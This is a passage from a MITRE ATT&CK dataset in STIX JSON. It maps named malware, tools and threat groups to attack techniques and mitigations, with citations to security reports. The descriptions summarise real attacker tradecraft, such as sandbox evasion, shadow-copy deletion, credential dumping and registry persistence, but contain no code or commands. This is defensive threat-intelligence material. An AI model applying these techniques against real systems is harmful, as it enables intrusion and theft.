"attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2cfab77c-89d8-4e95-9ef9-43e0a77c5e4d", "type": "relationship", "created": "2020-11-09T16:28:37.649Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist Brazilian Banking Malware July 2020", "url": "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", "description": "GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."}], "modified": "2020-11-09T16:28:37.649Z", "description": "[Astaroth](https://attack.mitre.org/software/S0373) can check for Windows product ID's used by sandboxes and usernames and disk serial numbers associated with analyst environments.(Citation: Securelist Brazilian Banking Malware July 2020)", "relationship_type": "uses", "source_ref": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6", "target_ref": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2d0510d6-765b-4352-8ddc-36556831215b", "type": "relationship", "created": "2020-03-18T00:18:58.684Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Fysbis Dr Web Analysis", "description": "Doctor Web. (2014, November 21). Linux.BackDoor.Fysbis.1. Retrieved December 7, 2017.", "url": "https://vms.drweb.com/virus/?i=4276269"}], "modified": "2020-03-18T00:18:58.684Z", "description": "[Fysbis](https://attack.mitre.org/software/S0410) has masqueraded as the rsyncd and dbus-inotifier services.(Citation: Fysbis Dr Web Analysis)", "relationship_type": "uses", "source_ref": "malware--50d6688b-0985-4f3d-8cbe-0c796b30703b", "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2d063a40-dbba-458f-897d-2b756a2591b1", "type": "relationship", "created": "2020-03-19T22:58:42.680Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.truesec.se/sakerhet/verktyg/saakerhet/gsecdump_v2.0b5", "description": "TrueSec. (n.d.). gsecdump v2.0b5. Retrieved September 29, 2015.", "source_name": "TrueSec Gsecdump"}], "modified": "2020-03-19T22:58:42.680Z", "description": "[gsecdump](https://attack.mitre.org/software/S0008) can dump LSA secrets.(Citation: TrueSec Gsecdump)", "relationship_type": "uses", "source_ref": "tool--b07c2c47-fefb-4d7c-a69e-6a3296171f54", "target_ref": "attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--2d0748e3-7427-4847-9861-75680f6aacb3", "created": "2020-11-06T18:40:38.309Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Talos Cobalt Strike September 2020", "description": "Mavis, N. (2020, September 21). The Art and Science of Detecting Cobalt Strike. Retrieved April 6, 2021.", "url": "https://talos-intelligence-site.s3.amazonaws.com/production/document_files/files/000/095/031/original/Talos_Cobalt_Strike.pdf"}, {"source_name": "Cobalt Strike Manual 4.3 November 2020", "description": "Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021.", "url": "https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf"}, {"source_name": "CobaltStrike Scripted Web Delivery", "description": "Strategic Cyber, LLC. (n.d.). Scripted Web Delivery. Retrieved January 23, 2018.", "url": "https://www.cobaltstrike.com/help-scripted-web-delivery"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-11-30T22:37:12.376Z", "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can download a hosted \"beacon\" payload using [BITSAdmin](https://attack.mitre.org/software/S0190).(Citation: CobaltStrike Scripted Web Delivery)(Citation: Talos Cobalt Strike September 2020)(Citation: Cobalt Strike Manual 4.3 November 2020)", "relationship_type": "uses", "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", "target_ref": "attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2d090e9d-f9fb-4f73-99df-0e17a7489adb", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cisco H1N1 Part 2", "description": "Reynolds, J.. (2016, September 14). H1N1: Technical analysis reveals new capabilities \u2013 part 2. Retrieved September 26, 2016.", "url": "http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2"}], "modified": "2019-04-29T18:23:16.022Z", "description": "[H1N1](https://attack.mitre.org/software/S0132) disable recovery options and deletes shadow copies from the victim.(Citation: Cisco H1N1 Part 2)", "relationship_type": "uses", "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd", "target_ref": "attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2d0afb20-dfbd-4f6b-bd75-ee67d8eeb8c6", "type": "relationship", "created": "2019-01-30T15:33:07.907Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Mandiant APT1", "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}], "modified": "2019-08-20T13:08:13.449Z", "description": "(Citation: Mandiant APT1)", "relationship_type": "uses", "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2d0b7e52-9c7a-47dd-ab12-4dc6942f49f1", "type": "relationship", "created": "2020-03-13T13:51:58.698Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://msdn.microsoft.com/en-us/library/ms682425", "description": "Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014.", "source_name": "Microsoft CreateProcess"}, {"source_name": "Microsoft Dynamic-Link Library Security", "url": "https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-security?redirectedfrom=MSDN", "description": "Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved July 25, 2016."}, {"source_name": "Vulnerability and Exploit Detector", "url": "https://skanthak.homepage.t-online.de/sentinel.html", "description": "Kanthak, S.. (2016, July 20). Vulnerability and Exploit Detector. Retrieved February 3, 2017."}], "modified": "2020-09-17T19:05:23.998Z", "description": "Find and eliminate path interception weaknesses in program configuration files, scripts, the PATH environment variable, services, and in shortcuts by surrounding PATH variables with quotation marks when functions allow for them. Be aware of the search order Windows uses for executing or loading binaries and use fully qualified paths wherever appropriate.\n\nClean up old Windows Registry keys when software is uninstalled to avoid keys with no associated legitimate binaries. Periodically search for and correct or report path interception weaknesses on systems that may have been introduced using custom or available tools that report software using insecure path configurations.(Citation: Microsoft CreateProcess)(Citation: Microsoft Dynamic-Link Library Security)(Citation: Vulnerability and Exploit Detector)", "relationship_type": "mitigates", "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", "target_ref": "attack-pattern--bf96a5a3-3bce-43b7-8597-88545984c07b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--2d0de5c1-ff34-44b5-ba47-b3841eb1b8f3", "created": "2022-10-10T16:48:38.325Z", "revoked": false, "external_references": [{"source_name": "Bitdefender FunnyDream Campaign November 2020", "description": "Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. 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(2022, August 17). DarkTortilla Malware Analysis. Retrieved November 3, 2022.", "url": "https://www.secureworks.com/research/darktortilla-malware-analysis"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-13T19:55:13.908Z", "description": " [DarkTortilla](https://attack.mitre.org/software/S1066) has established persistence via the `Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon` registry key.(Citation: Secureworks DarkTortilla Aug 2022)", "relationship_type": "uses", "source_ref": "malware--5faaf81a-aa5b-4a4b-bae5-522439e068f8", "target_ref": "attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--2d1b98bb-cbc8-492a-9861-f350153291cd", "created": "2023-02-10T18:49:15.142Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "HP SVCReady Jun 2022", "description": "Schlapfer, Patrick. (2022, June 6). A New Loader Gets Ready. Retrieved December 13, 2022.", "url": "https://threatresearch.ext.hp.com/svcready-a-new-loader-reveals-itself/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-12T15:13:52.855Z", "description": "[SVCReady](https://attack.mitre.org/software/S1064) can create a scheduled task named `RecoveryExTask` to gain persistence.(Citation: HP SVCReady Jun 2022)", "relationship_type": "uses", "source_ref": "malware--7230ded7-3b1a-4d6e-9735-d0ffd47af9f6", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2d1bee29-c394-48ca-8ded-21fd86e3ff43", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html", "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", "source_name": "FireEye MuddyWater Mar 2018"}], "modified": "2020-03-18T20:32:01.664Z", "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) can retrieve usernames from compromised hosts.(Citation: FireEye MuddyWater Mar 2018)", "relationship_type": "uses", "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2d1beee9-0b61-4e66-9487-97f1665bbedc", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/", "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", "source_name": "McAfee Gold Dragon"}], "modified": "2020-04-21T23:09:31.573Z", "description": "[Brave Prince](https://attack.mitre.org/software/S0252) lists the running processes.(Citation: McAfee Gold Dragon)", "relationship_type": "uses", "source_ref": "malware--28b97733-ef07-4414-aaa5-df50b2d30cc5", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2d20e20c-7f01-4834-88de-030ca09ee540", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf", "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", "source_name": "Symantec Elderwood Sept 2012"}], "modified": "2021-01-06T19:32:29.097Z", "description": "(Citation: Symantec Elderwood Sept 2012)", "relationship_type": "uses", "source_ref": "intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484", "target_ref": "malware--79499993-a8d6-45eb-b343-bf58dea5bdde", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2d27c0d9-7e8e-4713-b3e1-0d82db27ac9a", "type": "relationship", "created": "2019-01-29T21:27:25.332Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT38 Oct 2018", "url": "https://content.fireeye.com/apt/rpt-apt38", "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018."}, {"source_name": "CISA AA20-239A BeagleBoyz August 2020", "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-239a", "description": "DHS/CISA. (2020, August 26). FASTCash 2.0: North Korea's BeagleBoyz Robbing Banks. Retrieved September 29, 2021."}], "modified": "2021-09-29T20:46:38.501Z", "description": "[APT38](https://attack.mitre.org/groups/G0082) has conducted watering holes schemes to gain initial access to victims.(Citation: FireEye APT38 Oct 2018)(Citation: CISA AA20-239A BeagleBoyz August 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--2d2849f2-b34a-455f-a5c7-b4b42920f36a", "created": "2022-10-14T16:13:05.003Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Palo Alto Unit 42 OutSteel SaintBot February 2022 ", "description": "Unit 42. (2022, February 25). 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Retrieved June 9, 2022.", "url": "https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-14T16:13:51.699Z", "description": "[Ember Bear](https://attack.mitre.org/groups/G1003) has stolen legitimate certificates to sign malicious payloads.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )", "relationship_type": "uses", "source_ref": "intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9", "target_ref": "attack-pattern--e7cbc1de-1f79-48ee-abfd-da1241c65a15", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2d2ebfcb-0b2c-4c69-877e-2ca633c95a17", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://github.com/PowerShellMafia/PowerSploit", "description": "PowerShellMafia. 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(2018, June 15). Meet CrowdStrike\u2019s Adversary of the Month for June: MUSTANG PANDA. Retrieved April 12, 2021."}, {"source_name": "Anomali MUSTANG PANDA October 2019", "url": "https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations", "description": "Anomali Threat Research. (2019, October 7). China-Based APT Mustang Panda Targets Minority Groups, Public and Private Sector Organizations. Retrieved April 12, 2021."}, {"source_name": "Secureworks BRONZE PRESIDENT December 2019", "url": "https://www.secureworks.com/research/bronze-president-targets-ngos", "description": "Counter Threat Unit Research Team. (2019, December 29). BRONZE PRESIDENT Targets NGOs. Retrieved April 13, 2021."}], "modified": "2021-04-19T17:06:51.394Z", "description": "[Mustang Panda](https://attack.mitre.org/groups/G0129) has embedded VBScript components in LNK files to download additional files and automate collection.(Citation: Crowdstrike MUSTANG PANDA June 2018)(Citation: Anomali MUSTANG PANDA October 2019)(Citation: Secureworks BRONZE PRESIDENT December 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4", "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2d353aa1-9975-43cf-9aa3-3ef02fd3e61a", "type": "relationship", "created": "2021-09-28T18:53:02.516Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky Ferocious Kitten Jun 2021", "url": "https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/", "description": "GReAT. (2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021."}], "modified": "2021-10-15T17:05:58.555Z", "description": "[MarkiRAT](https://attack.mitre.org/software/S0652) can run the ShellExecuteW API via the Windows Command Shell.(Citation: Kaspersky Ferocious Kitten Jun 2021)", "relationship_type": "uses", "source_ref": "malware--532c6004-b1e8-415b-9516-f7c14ba783b1", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2d3a8912-53fd-416b-bef8-f6ad980ae7c0", "type": "relationship", "created": "2021-06-29T15:11:25.389Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Bitdefender Naikon April 2021", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf", "description": "Vrabie, V. (2021, April 23). NAIKON \u2013 Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}], "modified": "2021-08-19T19:14:19.215Z", "description": "[RainyDay](https://attack.mitre.org/software/S0629) can download files to a compromised host.(Citation: Bitdefender Naikon April 2021)", "relationship_type": "uses", "source_ref": "malware--29231689-5837-4a7a-aafc-1b65b3f50cc7", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2d3a898c-bdc3-4cc1-ae14-325dbb60f2e2", "type": "relationship", "created": "2020-02-04T13:06:49.709Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-29T21:36:36.808Z", "description": "Use strong passphrases for private keys to make cracking difficult.", "relationship_type": "mitigates", "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", "target_ref": "attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2d450e2f-25c9-49af-b83f-6c91029ed28a", "type": "relationship", "created": "2017-05-31T21:33:27.039Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf", "description": "Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.", "source_name": "Microsoft SIR Vol 19"}, {"source_name": "DOJ GRU Indictment Jul 2018", "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.", "url": "https://www.justice.gov/file/1080281/download"}, {"source_name": "TrendMicro Pawn Storm Dec 2020", "url": "https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html", "description": "Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm\u2019s Lack of Sophistication as a Strategy. Retrieved January 13, 2021."}], "modified": "2021-01-13T21:54:30.296Z", "description": "[APT28](https://attack.mitre.org/groups/G0007) has used tools to perform keylogging.(Citation: Microsoft SIR Vol 19)(Citation: DOJ GRU Indictment Jul 2018)(Citation: TrendMicro Pawn Storm Dec 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2d467445-9cce-4e84-968e-7a7ecc0a81fa", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 RGDoor Jan 2018", "description": "Falcone, R. (2018, January 25). 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Retrieved November 13, 2020."}], "modified": "2020-11-13T21:56:38.638Z", "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) has named malicious browser extensions and update files to appear legitimate.(Citation: IBM Grandoreiro April 2020)(Citation: ESET Grandoreiro April 2020)", "relationship_type": "uses", "source_ref": "malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2d8cdbf3-1be2-4e64-ba18-f8b65fcbae8f", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Palo Alto OilRig May 2016", "description": "Falcone, R. and Lee, B.. (2016, May 26). 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Retrieved May 3, 2017.", "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"}], "modified": "2020-03-20T23:59:28.281Z", "description": "[Helminth](https://attack.mitre.org/software/S0170) encrypts data sent to its C2 server over HTTP with RC4.(Citation: Palo Alto OilRig May 2016)", "relationship_type": "uses", "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e", "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2d90749b-525e-4aa2-9df0-1d5677be0b25", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://github.com/n1nj4sec/pupy", "description": "Nicolas Verdier. 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(2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."}], "modified": "2021-01-10T17:15:23.266Z", "description": "[SUNBURST](https://attack.mitre.org/software/S0559) used Base64 encoding in its C2 traffic.(Citation: FireEye SUNBURST Backdoor December 2020)", "relationship_type": "uses", "source_ref": "malware--a8839c95-029f-44cf-8f3d-a3cf2039e927", "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2db406cf-667d-4ad6-b768-7645f6663ac9", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf", "description": "Symantec Security Response. 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(2018, April 24). Hidden Administrative Accounts: BloodHound to the Rescue. Retrieved October 28, 2020."}], "modified": "2020-11-20T14:11:33.320Z", "description": "[BloodHound](https://attack.mitre.org/software/S0521) can collect password policy information on the target environment.(Citation: CrowdStrike BloodHound April 2018)", "relationship_type": "uses", "source_ref": "tool--066b057c-944e-4cfc-b654-e3dfba04b926", "target_ref": "attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2db640ab-413b-4c49-9842-3bf190c5e184", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html", "description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.", "source_name": "FireEye POSHSPY April 2017"}], "modified": "2019-07-25T14:25:53.642Z", "description": "(Citation: FireEye POSHSPY April 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", "target_ref": "malware--5e595477-2e78-4ce7-ae42-e0b059b17808", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2db67ddf-b414-4dc7-87ab-0846a8bd1e8e", "type": "relationship", "created": "2020-01-23T19:59:52.898Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-11T19:01:55.993Z", "description": "Restrict storage and execution of Control Panel items to protected directories, such as <code>C:\\Windows</code>, rather than user directories.", "relationship_type": "mitigates", "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", "target_ref": "attack-pattern--4ff5d6a8-c062-4c68-a778-36fc5edd564f", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--2dbed740-1b50-4d59-a729-a1d9e6a839df", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Crowdstrike GTR2020 Mar 2020", "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020.", "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf"}, {"source_name": "FireEye APT34 Webinar Dec 2017", "description": "Davis, 